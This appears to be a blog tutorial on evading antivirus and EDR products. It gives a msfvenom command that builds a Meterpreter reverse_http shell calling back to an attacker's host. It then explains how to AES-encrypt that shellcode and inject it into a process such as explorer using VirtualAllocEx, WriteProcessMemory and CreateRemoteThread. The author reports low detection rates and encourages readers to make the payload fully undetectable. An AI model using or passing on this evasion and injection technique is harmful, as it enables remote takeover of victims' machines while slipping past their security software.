I have been getting a lot of messages from people asking about AV evasion. I won’t give away the source code for a fully undetectable payload, but I thought I’d share a basic implementation of a shell code runner that will take AES encrypted shell code and decrypt it and inject into a process such as explorer! Before we proceed, the technique used to inject shell code is well known to AVs and you will get flagged, the purpose of this writeup is to show how AES can be implemented, and you can use same/similar techniques to bypass EDR solution with more sophisticated techniques

What do you need to follow along?

• Metasploit

• Visual Studio

• Windows Machine for testing payload

The first thing to do is to create a shell code using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=IP LPORT=443 -f csharp

Now download the project for encrypting the shellcode with AES encryption: Click Here

Make sure to change the shellcode to your shellcode here:

** Note: if you change the key/IV make sure to update them on the decryption part as well ! **

Once you compile and run the program, you will get the encrypted shell code:

Now we will need to create a program that will essentially take this encrypted shell code, and decrypt It and inject into a process’s virtual address space.

Here is the program: AESInjector

I will briefly explain what is going on:

• “buf” is an array with the encrypted shell code

• “Dshell” uses the AESDecrypt function and stores the decrypted shell code

• Now we use Win32 Api’s for allocating shell code in memory, copy the shell code and execute it with VirtualAllocEx and WriteProcessMemory and CreateRemoteThread:

Now you change the “buf” array with the encrypted shell we acquired from previous program and compile the program and run it

Of course, make sure to start a lister on Metasploit:

At the time of writing this project, the payload is only detected by 3/26 Av engines:

I am a bit surprised that only 3 AV’s caught it, but you can enhance this project into making it completely undetectable:

Credits: some of the codes are taken from other open source projects

Reference:

1. https://www.c-sharpcorner.com/article/aes-encryption-in-c-sharp/
2. https://docs.microsoft.com/en-us/cpp/dotnet/how-to-call-native-dlls-from-managed-code-using-pinvoke?view=msvc-170